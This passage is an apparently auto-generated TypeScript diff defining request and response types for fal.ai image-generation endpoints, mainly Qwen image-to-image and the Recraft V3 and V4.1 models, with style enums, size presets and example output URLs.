+ * @maximum 1 + * @default 0.6 + * @example 0.8 + * @type number | undefined + */ + strength?: number + /** + * @description The negative prompt for the generation + * @default ' ' + * @example blurry, ugly + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Acceleration level for image generation. Options: 'none', 'regular', 'high'. Higher acceleration increases speed. 'regular' balances speed and quality. 'high' is recommended for images without text. + * @default 'none' + * @example none + * @type string | undefined + */ + acceleration?: InputFalAiQwenImageImageToImageAccelerationEnumKey + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiQwenImageImageToImageOutputFormatEnumKey + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number +} + +export type Image1260B501 = { + height: number + /** + * @default image/jpeg + */ + content_type?: string | null + url: string + width: number +} + +export type OutputFalAiQwenImageImageToImage = { + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The generated image files info. + * @example [{"height":768,"width":1024,"url":"https://v3.fal.media/files/elephant/AuLvZGaYemu6vs36D5zof.png","content_type":"image/jpeg"}] + * @type array + */ + images: Image1260B501[] +} + +export type ImageSize7695279F = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export type RGBColorD051963F = { + /** + * @description Green color value + * @minimum 0 + * @maximum 255 + * @default 0 + * @type integer | undefined + */ + g?: number + /** + * @description Red color value + * @minimum 0 + * @maximum 255 + * @default 0 + * @type integer | undefined + */ + r?: number + /** + * @description Blue color value + * @minimum 0 + * @maximum 255 + * @default 0 + * @type integer | undefined + */ + b?: number +} + +export const inputFalAiRecraft20BImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiRecraft20BImageSizeKey = + (typeof inputFalAiRecraft20BImageSize)[keyof typeof inputFalAiRecraft20BImageSize] + +export const inputFalAiRecraft20BStyleEnum = { + any: 'any', + realistic_image: 'realistic_image', + digital_illustration: 'digital_illustration', + vector_illustration: 'vector_illustration', + 'realistic_image/b_and_w': 'realistic_image/b_and_w', + 'realistic_image/enterprise': 'realistic_image/enterprise', + 'realistic_image/hard_flash': 'realistic_image/hard_flash', + 'realistic_image/hdr': 'realistic_image/hdr', + 'realistic_image/motion_blur': 'realistic_image/motion_blur', + 'realistic_image/natural_light': 'realistic_image/natural_light', + 'realistic_image/studio_portrait': 'realistic_image/studio_portrait', + 'digital_illustration/2d_art_poster': 'digital_illustration/2d_art_poster', + 'digital_illustration/2d_art_poster_2': + 'digital_illustration/2d_art_poster_2', + 'digital_illustration/3d': 'digital_illustration/3d', + 'digital_illustration/80s': 'digital_illustration/80s', + 'digital_illustration/engraving_color': + 'digital_illustration/engraving_color', + 'digital_illustration/glow': 'digital_illustration/glow', + 'digital_illustration/grain': 'digital_illustration/grain', + 'digital_illustration/hand_drawn': 'digital_illustration/hand_drawn', + 'digital_illustration/hand_drawn_outline': + 'digital_illustration/hand_drawn_outline', + 'digital_illustration/handmade_3d': 'digital_illustration/handmade_3d', + 'digital_illustration/infantile_sketch': + 'digital_illustration/infantile_sketch', + 'digital_illustration/kawaii': 'digital_illustration/kawaii', + 'digital_illustration/pixel_art': 'digital_illustration/pixel_art', + 'digital_illustration/psychedelic': 'digital_illustration/psychedelic', + 'digital_illustration/seamless': 'digital_illustration/seamless', + 'digital_illustration/voxel': 'digital_illustration/voxel', + 'digital_illustration/watercolor': 'digital_illustration/watercolor', + 'vector_illustration/cartoon': 'vector_illustration/cartoon', + 'vector_illustration/doodle_line_art': 'vector_illustration/doodle_line_art', + 'vector_illustration/engraving': 'vector_illustration/engraving', + 'vector_illustration/flat_2': 'vector_illustration/flat_2', + 'vector_illustration/kawaii': 'vector_illustration/kawaii', + 'vector_illustration/line_art': 'vector_illustration/line_art', + 'vector_illustration/line_circuit': 'vector_illustration/line_circuit', + 'vector_illustration/linocut': 'vector_illustration/linocut', + 'vector_illustration/seamless': 'vector_illustration/seamless', +} as const + +export type InputFalAiRecraft20BStyleEnumKey = + (typeof inputFalAiRecraft20BStyleEnum)[keyof typeof inputFalAiRecraft20BStyleEnum] + +export type InputFalAiRecraft20B = { + /** + * @default square_hd + */ + image_size?: ImageSize7695279F | InputFalAiRecraft20BImageSizeKey + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default false + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description An array of preferable colors + * @default [] + * @type array | undefined + */ + colors?: RGBColorD051963F[] + /** + * @minLength 1 + * @maxLength 1000 + * @example a red panda in Kyoto + * @type string + */ + prompt: string + /** + * @description The style of the generated images. Vector images cost 2X as much. + * @default 'realistic_image' + * @type string | undefined + */ + style?: InputFalAiRecraft20BStyleEnumKey + /** + * @description The ID of the custom style reference (optional) + */ + style_id?: string | null +} + +export type File4B7B896C = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiRecraft20B = { + /** + * @example [{"url":"https://fal.media/files/tiger/qeO5RlXiAsdCREUMYg5ZU_image.webp"}] + * @type array + */ + images: File4B7B896C[] +} + +export type InputFalAiRecraftUpscaleCreative = { + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default false + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The URL of the image to be upscaled. Must be in PNG format. + * @example https://storage.googleapis.com/falserverless/model_tests/recraft/recraft-upscaler-1.jpeg + * @type string + */ + image_url: string +} + +export type FileD4578Cc9 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiRecraftUpscaleCreative = { + /** + * @description The upscaled image. + * @type object + */ + image: FileD4578Cc9 +} + +export type InputFalAiRecraftUpscaleCrisp = { + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default false + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The URL of the image to be upscaled. Must be in PNG format. + * @example https://storage.googleapis.com/falserverless/model_tests/recraft/recraft-upscaler-1.jpeg + * @type string + */ + image_url: string +} + +export type File1E2C9F29 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiRecraftUpscaleCrisp = { + /** + * @description The upscaled image. + * @type object + */ + image: File1E2C9F29 +} + +export type RGBColor7Dbfa94B = { + /** + * @description Red color value + * @minimum 0 + * @maximum 255 + * @default 0 + * @type integer | undefined + */ + r?: number + /** + * @description Blue color value + * @minimum 0 + * @maximum 255 + * @default 0 + * @type integer | undefined + */ + b?: number + /** + * @description Green color value + * @minimum 0 + * @maximum 255 + * @default 0 + * @type integer | undefined + */ + g?: number +} + +export const inputFalAiRecraftV3ImageToImageStyleEnum = { + any: 'any', + realistic_image: 'realistic_image', + digital_illustration: 'digital_illustration', + vector_illustration: 'vector_illustration', + 'realistic_image/b_and_w': 'realistic_image/b_and_w', + 'realistic_image/hard_flash': 'realistic_image/hard_flash', + 'realistic_image/hdr': 'realistic_image/hdr', + 'realistic_image/natural_light': 'realistic_image/natural_light', + 'realistic_image/studio_portrait': 'realistic_image/studio_portrait', + 'realistic_image/enterprise': 'realistic_image/enterprise', + 'realistic_image/motion_blur': 'realistic_image/motion_blur', + 'realistic_image/evening_light': 'realistic_image/evening_light', + 'realistic_image/faded_nostalgia': 'realistic_image/faded_nostalgia', + 'realistic_image/forest_life': 'realistic_image/forest_life', + 'realistic_image/mystic_naturalism': 'realistic_image/mystic_naturalism', + 'realistic_image/natural_tones': 'realistic_image/natural_tones', + 'realistic_image/organic_calm': 'realistic_image/organic_calm', + 'realistic_image/real_life_glow': 'realistic_image/real_life_glow', + 'realistic_image/retro_realism': 'realistic_image/retro_realism', + 'realistic_image/retro_snapshot': 'realistic_image/retro_snapshot', + 'realistic_image/urban_drama': 'realistic_image/urban_drama', + 'realistic_image/village_realism': 'realistic_image/village_realism', + 'realistic_image/warm_folk': 'realistic_image/warm_folk', + 'digital_illustration/pixel_art': 'digital_illustration/pixel_art', + 'digital_illustration/hand_drawn': 'digital_illustration/hand_drawn', + 'digital_illustration/grain': 'digital_illustration/grain', + 'digital_illustration/infantile_sketch': + 'digital_illustration/infantile_sketch', + 'digital_illustration/2d_art_poster': 'digital_illustration/2d_art_poster', + 'digital_illustration/handmade_3d': 'digital_illustration/handmade_3d', + 'digital_illustration/hand_drawn_outline': + 'digital_illustration/hand_drawn_outline', + 'digital_illustration/engraving_color': + 'digital_illustration/engraving_color', + 'digital_illustration/2d_art_poster_2': + 'digital_illustration/2d_art_poster_2', + 'digital_illustration/antiquarian': 'digital_illustration/antiquarian', + 'digital_illustration/bold_fantasy': 'digital_illustration/bold_fantasy', + 'digital_illustration/child_book': 'digital_illustration/child_book', + 'digital_illustration/child_books': 'digital_illustration/child_books', + 'digital_illustration/cover': 'digital_illustration/cover', + 'digital_illustration/crosshatch': 'digital_illustration/crosshatch', + 'digital_illustration/digital_engraving': + 'digital_illustration/digital_engraving', + 'digital_illustration/expressionism': 'digital_illustration/expressionism', + 'digital_illustration/freehand_details': + 'digital_illustration/freehand_details', + 'digital_illustration/grain_20': 'digital_illustration/grain_20', + 'digital_illustration/graphic_intensity': + 'digital_illustration/graphic_intensity', + 'digital_illustration/hard_comics': 'digital_illustration/hard_comics', + 'digital_illustration/long_shadow': 'digital_illustration/long_shadow', + 'digital_illustration/modern_folk': 'digital_illustration/modern_folk', + 'digital_illustration/multicolor': 'digital_illustration/multicolor', + 'digital_illustration/neon_calm': 'digital_illustration/neon_calm', + 'digital_illustration/noir': 'digital_illustration/noir', + 'digital_illustration/nostalgic_pastel': + 'digital_illustration/nostalgic_pastel', + 'digital_illustration/outline_details': + 'digital_illustration/outline_details', + 'digital_illustration/pastel_gradient': + 'digital_illustration/pastel_gradient', + 'digital_illustration/pastel_sketch': 'digital_illustration/pastel_sketch', + 'digital_illustration/pop_art': 'digital_illustration/pop_art', + 'digital_illustration/pop_renaissance': + 'digital_illustration/pop_renaissance', + 'digital_illustration/street_art': 'digital_illustration/street_art', + 'digital_illustration/tablet_sketch': 'digital_illustration/tablet_sketch', + 'digital_illustration/urban_glow': 'digital_illustration/urban_glow', + 'digital_illustration/urban_sketching': + 'digital_illustration/urban_sketching', + 'digital_illustration/vanilla_dreams': 'digital_illustration/vanilla_dreams', + 'digital_illustration/young_adult_book': + 'digital_illustration/young_adult_book', + 'digital_illustration/young_adult_book_2': + 'digital_illustration/young_adult_book_2', + 'vector_illustration/bold_stroke': 'vector_illustration/bold_stroke', + 'vector_illustration/chemistry': 'vector_illustration/chemistry', + 'vector_illustration/colored_stencil': 'vector_illustration/colored_stencil', + 'vector_illustration/contour_pop_art': 'vector_illustration/contour_pop_art', + 'vector_illustration/cosmics': 'vector_illustration/cosmics', + 'vector_illustration/cutout': 'vector_illustration/cutout', + 'vector_illustration/depressive': 'vector_illustration/depressive', + 'vector_illustration/editorial': 'vector_illustration/editorial', + 'vector_illustration/emotional_flat': 'vector_illustration/emotional_flat', + 'vector_illustration/infographical': 'vector_illustration/infographical', + 'vector_illustration/marker_outline': 'vector_illustration/marker_outline', + 'vector_illustration/mosaic': 'vector_illustration/mosaic', + 'vector_illustration/naivector': 'vector_illustration/naivector', + 'vector_illustration/roundish_flat': 'vector_illustration/roundish_flat', + 'vector_illustration/segmented_colors': + 'vector_illustration/segmented_colors', + 'vector_illustration/sharp_contrast': 'vector_illustration/sharp_contrast', + 'vector_illustration/thin': 'vector_illustration/thin', + 'vector_illustration/vector_photo': 'vector_illustration/vector_photo', + 'vector_illustration/vivid_shapes': 'vector_illustration/vivid_shapes', + 'vector_illustration/engraving': 'vector_illustration/engraving', + 'vector_illustration/line_art': 'vector_illustration/line_art', + 'vector_illustration/line_circuit': 'vector_illustration/line_circuit', + 'vector_illustration/linocut': 'vector_illustration/linocut', +} as const + +export type InputFalAiRecraftV3ImageToImageStyleEnumKey = + (typeof inputFalAiRecraftV3ImageToImageStyleEnum)[keyof typeof inputFalAiRecraftV3ImageToImageStyleEnum] + +export type InputFalAiRecraftV3ImageToImage = { + /** + * @description A text description of areas to change. + * @minLength 1 + * @maxLength 1000 + * @example winter + * @example cyberpunk city + * @example watercolor painting style + * @type string + */ + prompt: string + /** + * @description The style of the generated images. Vector images cost 2X as much. + * @default 'realistic_image' + * @type string | undefined + */ + style?: InputFalAiRecraftV3ImageToImageStyleEnumKey + /** + * @description The URL of the image to modify. Must be less than 5 MB in size, have resolution less than 16 MP and max dimension less than 4096 pixels. + * @example https://storage.googleapis.com/falserverless/model_tests/recraft/recraft-upscaler-1.jpeg + * @type string + */ + image_url: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description An array of preferable colors + * @default [] + * @type array | undefined + */ + colors?: RGBColor7Dbfa94B[] + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description A text description of undesired elements on an image + */ + negative_prompt?: string | null + /** + * @description The ID of the custom style reference (optional) + * @example null + */ + style_id?: string | null + /** + * @description Defines the difference with the original image, should lie in [0, 1], where 0 means almost identical, and 1 means miserable similarity + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @example 0.2 + * @example 0.5 + * @example 0.8 + * @type number | undefined + */ + strength?: number +} + +export type FileF8Ccfcb9 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiRecraftV3ImageToImage = { + /** + * @description The generated images + * @example [{"url":"https://v3.fal.media/files/koala/Xoz8tel7YoTbh6Fiepmq3_image.webp"}] + * @type array + */ + images: FileF8Ccfcb9[] +} + +export type RGBColor5C54012C = { + /** + * @description Red color value + * @minimum 0 + * @maximum 255 + * @default 0 + * @type integer | undefined + */ + r?: number + /** + * @description Green color value + * @minimum 0 + * @maximum 255 + * @default 0 + * @type integer | undefined + */ + g?: number + /** + * @description Blue color value + * @minimum 0 + * @maximum 255 + * @default 0 + * @type integer | undefined + */ + b?: number +} + +export type ImageSize61F2438C = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiRecraftV3TextToImageStyleEnum = { + any: 'any', + realistic_image: 'realistic_image', + digital_illustration: 'digital_illustration', + vector_illustration: 'vector_illustration', + 'realistic_image/b_and_w': 'realistic_image/b_and_w', + 'realistic_image/hard_flash': 'realistic_image/hard_flash', + 'realistic_image/hdr': 'realistic_image/hdr', + 'realistic_image/natural_light': 'realistic_image/natural_light', + 'realistic_image/studio_portrait': 'realistic_image/studio_portrait', + 'realistic_image/enterprise': 'realistic_image/enterprise', + 'realistic_image/motion_blur': 'realistic_image/motion_blur', + 'realistic_image/evening_light': 'realistic_image/evening_light', + 'realistic_image/faded_nostalgia': 'realistic_image/faded_nostalgia', + 'realistic_image/forest_life': 'realistic_image/forest_life', + 'realistic_image/mystic_naturalism': 'realistic_image/mystic_naturalism', + 'realistic_image/natural_tones': 'realistic_image/natural_tones', + 'realistic_image/organic_calm': 'realistic_image/organic_calm', + 'realistic_image/real_life_glow': 'realistic_image/real_life_glow', + 'realistic_image/retro_realism': 'realistic_image/retro_realism', + 'realistic_image/retro_snapshot': 'realistic_image/retro_snapshot', + 'realistic_image/urban_drama': 'realistic_image/urban_drama', + 'realistic_image/village_realism': 'realistic_image/village_realism', + 'realistic_image/warm_folk': 'realistic_image/warm_folk', + 'digital_illustration/pixel_art': 'digital_illustration/pixel_art', + 'digital_illustration/hand_drawn': 'digital_illustration/hand_drawn', + 'digital_illustration/grain': 'digital_illustration/grain', + 'digital_illustration/infantile_sketch': + 'digital_illustration/infantile_sketch', + 'digital_illustration/2d_art_poster': 'digital_illustration/2d_art_poster', + 'digital_illustration/handmade_3d': 'digital_illustration/handmade_3d', + 'digital_illustration/hand_drawn_outline': + 'digital_illustration/hand_drawn_outline', + 'digital_illustration/engraving_color': + 'digital_illustration/engraving_color', + 'digital_illustration/2d_art_poster_2': + 'digital_illustration/2d_art_poster_2', + 'digital_illustration/antiquarian': 'digital_illustration/antiquarian', + 'digital_illustration/bold_fantasy': 'digital_illustration/bold_fantasy', + 'digital_illustration/child_book': 'digital_illustration/child_book', + 'digital_illustration/child_books': 'digital_illustration/child_books', + 'digital_illustration/cover': 'digital_illustration/cover', + 'digital_illustration/crosshatch': 'digital_illustration/crosshatch', + 'digital_illustration/digital_engraving': + 'digital_illustration/digital_engraving', + 'digital_illustration/expressionism': 'digital_illustration/expressionism', + 'digital_illustration/freehand_details': + 'digital_illustration/freehand_details', + 'digital_illustration/grain_20': 'digital_illustration/grain_20', + 'digital_illustration/graphic_intensity': + 'digital_illustration/graphic_intensity', + 'digital_illustration/hard_comics': 'digital_illustration/hard_comics', + 'digital_illustration/long_shadow': 'digital_illustration/long_shadow', + 'digital_illustration/modern_folk': 'digital_illustration/modern_folk', + 'digital_illustration/multicolor': 'digital_illustration/multicolor', + 'digital_illustration/neon_calm': 'digital_illustration/neon_calm', + 'digital_illustration/noir': 'digital_illustration/noir', + 'digital_illustration/nostalgic_pastel': + 'digital_illustration/nostalgic_pastel', + 'digital_illustration/outline_details': + 'digital_illustration/outline_details', + 'digital_illustration/pastel_gradient': + 'digital_illustration/pastel_gradient', + 'digital_illustration/pastel_sketch': 'digital_illustration/pastel_sketch', + 'digital_illustration/pop_art': 'digital_illustration/pop_art', + 'digital_illustration/pop_renaissance': + 'digital_illustration/pop_renaissance', + 'digital_illustration/street_art': 'digital_illustration/street_art', + 'digital_illustration/tablet_sketch': 'digital_illustration/tablet_sketch', + 'digital_illustration/urban_glow': 'digital_illustration/urban_glow', + 'digital_illustration/urban_sketching': + 'digital_illustration/urban_sketching', + 'digital_illustration/vanilla_dreams': 'digital_illustration/vanilla_dreams', + 'digital_illustration/young_adult_book': + 'digital_illustration/young_adult_book', + 'digital_illustration/young_adult_book_2': + 'digital_illustration/young_adult_book_2', + 'vector_illustration/bold_stroke': 'vector_illustration/bold_stroke', + 'vector_illustration/chemistry': 'vector_illustration/chemistry', + 'vector_illustration/colored_stencil': 'vector_illustration/colored_stencil', + 'vector_illustration/contour_pop_art': 'vector_illustration/contour_pop_art', + 'vector_illustration/cosmics': 'vector_illustration/cosmics', + 'vector_illustration/cutout': 'vector_illustration/cutout', + 'vector_illustration/depressive': 'vector_illustration/depressive', + 'vector_illustration/editorial': 'vector_illustration/editorial', + 'vector_illustration/emotional_flat': 'vector_illustration/emotional_flat', + 'vector_illustration/infographical': 'vector_illustration/infographical', + 'vector_illustration/marker_outline': 'vector_illustration/marker_outline', + 'vector_illustration/mosaic': 'vector_illustration/mosaic', + 'vector_illustration/naivector': 'vector_illustration/naivector', + 'vector_illustration/roundish_flat': 'vector_illustration/roundish_flat', + 'vector_illustration/segmented_colors': + 'vector_illustration/segmented_colors', + 'vector_illustration/sharp_contrast': 'vector_illustration/sharp_contrast', + 'vector_illustration/thin': 'vector_illustration/thin', + 'vector_illustration/vector_photo': 'vector_illustration/vector_photo', + 'vector_illustration/vivid_shapes': 'vector_illustration/vivid_shapes', + 'vector_illustration/engraving': 'vector_illustration/engraving', + 'vector_illustration/line_art': 'vector_illustration/line_art', + 'vector_illustration/line_circuit': 'vector_illustration/line_circuit', + 'vector_illustration/linocut': 'vector_illustration/linocut', +} as const + +export type InputFalAiRecraftV3TextToImageStyleEnumKey = + (typeof inputFalAiRecraftV3TextToImageStyleEnum)[keyof typeof inputFalAiRecraftV3TextToImageStyleEnum] + +export const inputFalAiRecraftV3TextToImageImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiRecraftV3TextToImageImageSizeKey = + (typeof inputFalAiRecraftV3TextToImageImageSize)[keyof typeof inputFalAiRecraftV3TextToImageImageSize] + +export type InputFalAiRecraftV3TextToImage = { + /** + * @description The style of the generated images. Vector images cost 2X as much. + * @default 'realistic_image' + * @type string | undefined + */ + style?: InputFalAiRecraftV3TextToImageStyleEnumKey + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default false + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description An array of preferable colors + * @default [] + * @type array | undefined + */ + colors?: RGBColor5C54012C[] + /** + * @description The ID of the custom style reference (optional) + */ + style_id?: string | null + /** + * @default square_hd + */ + image_size?: ImageSize61F2438C | InputFalAiRecraftV3TextToImageImageSizeKey + /** + * @minLength 1 + * @maxLength 1000 + * @example a red panda eating a bamboo in front of a poster that says "recraft V3 now available at fal" + * @type string + */ + prompt: string +} + +export type File9D761845 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiRecraftV3TextToImage = { + /** + * @example [{"url":"https://fal.media/files/penguin/852yy3l5DGLmrwAK42RTB_image.webp"}] + * @type array + */ + images: File9D761845[] +} + +export type RGBColor091F5748 = { + /** + * @description Red color value + * @minimum 0 + * @maximum 255 + * @default 0 + * @type integer | undefined + */ + r?: number + /** + * @description Green color value + * @minimum 0 + * @maximum 255 + * @default 0 + * @type integer | undefined + */ + g?: number + /** + * @description Blue color value + * @minimum 0 + * @maximum 255 + * @default 0 + * @type integer | undefined + */ + b?: number +} + +export type ImageSize3C66Eb68 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiRecraftV41ProTextToImageImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiRecraftV41ProTextToImageImageSizeKey = + (typeof inputFalAiRecraftV41ProTextToImageImageSize)[keyof typeof inputFalAiRecraftV41ProTextToImageImageSize] + +export type InputFalAiRecraftV41ProTextToImage = { + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description An array of preferable colors + * @default [] + * @type array | undefined + */ + colors?: RGBColor091F5748[] + /** + * @minLength 1 + * @maxLength 10000 + * @example Crash zoom frozen at the moment of impact as a kingfisher breaks the surface of a pond, water crown splash forming a perfect circle, the bird's beak piercing the mirror-like surface, fish visible just below, frozen at 1/8000s, 400mm super telephoto with 2x extender, ring flash fill, pre-dawn blue light with single shaft of gold, BBC Frozen Planet production quality + * @type string + */ + prompt: string + /** + * @description The preferable background color of the generated images. + */ + background_color?: RGBColor091F5748 | null + /** + * @default square_hd + * @example landscape_16_9 + */ + image_size?: + | ImageSize3C66Eb68 + | InputFalAiRecraftV41ProTextToImageImageSizeKey +} + +export type FileA21C74C5 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiRecraftV41ProTextToImage = { + /** + * @example [{"content_type":"image/webp","url":"https://storage.googleapis.com/falserverless/example_outputs/recraft-v4/pro-output.webp","file_name":"image.webp","file_size":1949504}] + * @type array + */ + images: FileA21C74C5[] +} + +export type RGBColor34A1F296 = { + /** + * @description Red color value + * @minimum 0 + * @maximum 255 + * @default 0 + * @type integer | undefined + */ + r?: number + /** + * @description Green color value + * @minimum 0 + * @maximum 255 + * @default 0 + * @type integer | undefined + */ + g?: number + /** + * @description Blue color value + * @minimum 0 + * @maximum 255 + * @default 0 + * @type integer | undefined + */ + b?: number +} + +export type ImageSize0A557B36 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiRecraftV41ProTextToVectorImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiRecraftV41ProTextToVectorImageSizeKey = + (typeof inputFalAiRecraftV41ProTextToVectorImageSize)[keyof typeof inputFalAiRecraftV41ProTextToVectorImageSize] + +export type InputFalAiRecraftV41ProTextToVector = { + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description An array of preferable colors + * @default [] + * @type array | undefined + */ + colors?: RGBColor34A1F296[] + /** + * @minLength 1 + * @maxLength 10000 + * @example a cute character panda with cool clothes, 3d flat color, design + * @type string + */ + prompt: string + /** + * @description The preferable background color of the generated images. + */ + background_color?: RGBColor34A1F296 | null + /** + * @default square_hd + * @example landscape_16_9 + */ + image_size?: + | ImageSize0A557B36 + | InputFalAiRecraftV41ProTextToVectorImageSizeKey +} + +export type FileB2C701Ed = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiRecraftV41ProTextToVector = { + /** + * @example [{"content_type":"image/svg+xml","url":"https://v3b.fal.media/files/b/0a8ee4de/lmXuapOPV309mE533swE0_image.svg","file_name":"image.svg","file_size":1818794}] + * @type array + */ + images: FileB2C701Ed[] +} + +export type RGBColor12062F38 = { + /** + * @description Red color value + * @minimum 0 + * @maximum 255 + * @default 0 + * @type integer | undefined + */ + r?: number + /** + * @description Green color value + * @minimum 0 + * @maximum 255 + * @default 0 + * @type integer | undefined + */ + g?: number + /** + * @description Blue color value + * @minimum 0 + * @maximum 255 + * @default 0 + * @type integer | undefined + */ + b?: number +} + +export type ImageSizeF8505D18 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiRecraftV41TextToImageImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiRecraftV41TextToImageImageSizeKey = + (typeof inputFalAiRecraftV41TextToImageImageSize)[keyof typeof inputFalAiRecraftV41TextToImageImageSize] + +export type InputFalAiRecraftV41TextToImage = { + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description An array of preferable colors + * @default [] + * @type array | undefined + */ + colors?: RGBColor12062F38[] + /** + * @minLength 1 + * @maxLength 10000 + * @example Tilt-shift miniature effect on a real Portuguese fishing village at golden hour, colorful boats in the harbor appearing toy-like, selective focus band across the middle, saturated primary colors of blue red and yellow boats against white buildings, 90mm tilt-shift lens, the familiar made fantastical, Wes Anderson color sensibility + * @type string + */ + prompt: string + /** + * @description The preferable background color of the generated images. + */ + background_color?: RGBColor12062F38 | null + /** + * @default square_hd + * 